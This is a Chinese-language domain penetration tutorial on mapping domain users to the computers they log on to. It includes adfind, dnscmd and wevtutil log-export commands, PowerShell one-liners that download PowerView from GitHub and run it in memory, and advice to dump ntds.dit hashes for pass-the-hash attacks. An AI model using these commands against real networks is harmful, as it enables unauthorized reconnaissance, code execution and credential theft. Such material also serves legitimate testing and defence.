6、域滲透中查詢域使用者對域成員機器關係
域使用者預設可以登入域內所有計算機,為什麼預設情況下所有的域使用者可以登入所有的域成員機器呢?因為域管理員在新增使用者時 該域使用者預設就會存在域使用者組中(domain users),而預設加入域的域成員機器其本地的user組中包含了全域性的domain users 組成員,而域成員機器本地組策略中 允許在本地登陸 屬性中包含了本地users組。 所以域管理員為了安全通常會限制域使用者只能登陸指定計算機。
第一種方法是設定域使用者只能登陸到指定計算機;可通過在使用在域管理員賬號在域控制器進行設定。如下圖
在滲透中可以通過查詢的域使用者的userWorkstations屬性檢視 其指定登陸的機器 可以用adfind用來查詢
adfind -h 192.168.221.130 -sc u:test
adfind -h 192.168.221.130 -sc u:test | findstr userWorkstations //非域許可權執行需要指定賬戶密碼
當然使用powerview可以實現:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-NetUser -Domain test.xcsec.com > C\Programdata\test.txt" //domain引數請加完整的域名
userworkstations : 08SER 可以看到userworkstations指定的機器
第二種設定方案通過修改組策略實現,設定方法比較靈活
在域成員機器中開啟Secpol.msc,依次展開計算機配置-策略-windows設定-安全設定-本地策略-使用者許可權分配,通過修改屬性 "允許本地登陸" 中包含的組實現,設定方法比較靈活;
可以在該屬性中只允許本地管理員組使用者登陸,然後把指定域使用者加入到的域成員機器本地管理員組。或者通過直接在該"允許本地登陸"中新增想要登陸的組和域成員名即可 //開啟secpol.msc 需要本地管理員許可權或者域管理員許可權
如上即可實現該域成員機器指定僅域使用者test\12121登陸
若管理員如上設定我們可通過查詢計算機的本地管理員來獲取域使用者和計算機的關係。使用powerview可以實現:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Invoke-EnumerateLocalAdmin > C:\Programdata\test.txt"
當然在沒有拿到域管許可權前也可用 PVEFindADUser.exe
psloggedon.exe
netsess.exe
hunter.exe
等來進行活躍使用者和域成員機器的關係對應的,這些工具基本都使用了NetSessionEnum API
在拿到了域管的情況下,可以通過匯出dc上面dns解析記錄 和dc 系統安全日誌以及域活動目錄ntds.dit ip地址 對應 使用者名稱 對應 ntlmhash,然後配合hash傳遞做到精準打擊目標機器;
當然你也可以直接給使用者設定登陸指令碼,達到指定使用者登陸時執行命令
關於dns 解析的記錄匯出,通常dc預設都是dns伺服器,所以自帶dnscmd這個工具
例子如下
dnscmd 127.0.0.1 /enumrecords test.xcsec.com test.xcsec.com. /type A //利用dnscmd匯出dns正向解析記錄
dnscmd 127.0.0.1 /zoneprint test.xcsec.com >1.txt //
具體用法:https://technet.microsoft.com/zh-cn/library/cc772069
如果該dc也是dhcp伺服器,可以使用dhcpcmd進行檢視,也可以使用卷影複製c:\windows\system32\dhcp\dhcp.mdb 進行離線檢視dhcp配置
關於dc日誌的匯出,我們可以使用wevtutil.exe psloglist.exe 或者powershell 的Get-WinEvent模組進行日誌匯出;2003的域控可使用eventquery.vbs匯出
已windows自帶的wevtutil為例,匯出日誌
wevtutil qe security /f:text /q:*[System[(EventID=4624)]] #查詢登入日誌語法wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" #查詢所有登入、登出相關的日誌語法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password #遠端查詢時在後面加入/r:computer /u:user /p:password 比如查詢dc1上的登入登出日誌
wevtutil 支援很多過濾語法,若有需要請檢視官方說明
匯出域控登入日誌到域控上:
wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密碼
本地使用LogParser日誌分析工具整理匯出的日誌,然後去除重複資料、無效資料(以$
結束的使用者名稱):
LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.txt
tips: 很多朋友說匯出來的日誌查詢不到一些使用者和機器的對應的關係;請將所有域控的日誌都匯出來,因為域成員機本身配置域內dns並不是都一樣的,並且在進行登陸驗證所請求的域控也是通過dclocater 演算法進行查詢。
相關文章
- 內網滲透-初探域滲透內網
- 域滲透——Skeleton Key
- 域滲透——Hook PasswordChangeNotifyHook
- 域滲透——Pass The Ticket
- 3、域滲透詳解
- 域內滲透基本技巧
- 域滲透——Security Support ProviderIDE
- 域滲透之利用WMI來橫向滲透
- 域滲透——Local Administrator Password Solution
- 域滲透——Pass The Hash & Pass The Key
- 域滲透之ldap協議LDA協議
- 技術分享 | 域滲透AdminSDHolder
- 8、域滲透——獲得域控伺服器的NTDS.dit檔案伺服器
- 域滲透的金之鑰匙
- 安全技術 | 域滲透之SPN
- 7、域滲透——Pass The Hash的實現
- 【CTF】msf和impacket聯合拿域控內網滲透-拿域控內網
- 2、超詳細的域滲透過程
- 9、Metasploit域滲透測試全程實錄
- 域滲透之初識Kerberos認證過程ROS
- 10、一篇經典的域滲透文章
- 1、域滲透基礎簡單資訊收集
- 域滲透 | kerberos認證及過程中產生的攻擊ROS
- ABP與DDD領域驅動關係
- 14、域滲透神器Empire安裝和簡單使用
- 11、域滲透測試中使用到的命令+工具
- 域滲透之初識LM&NTLM認證過程
- 5、域滲透——利用SYSVOL還原組策略中儲存的密碼密碼
- 成員變數和區域性變數變數
- 域、域樹、域林、根域
- 域滲透——Dump Clear-Text Password after KB2871997 installed
- 使用LDAP查詢快速提升域許可權LDA
- js中,函式的閉包、作用域跟[[Scopes]]的關係JS函式
- 12、強大的內網域滲透提權分析工具——BloodHound內網
- Windows——加域報錯“此工作站和主域間的信任關係失敗”Windows
- 上下文對映關係中如何解耦特定和通用的領域? - Nick Tune解耦
- 分散式系統中的解耦模式:領域查詢 - mathiasverraes分散式解耦模式
- C#實現區域性峰值查詢,功能對應Matlab中的findpeaks.mC#Matlab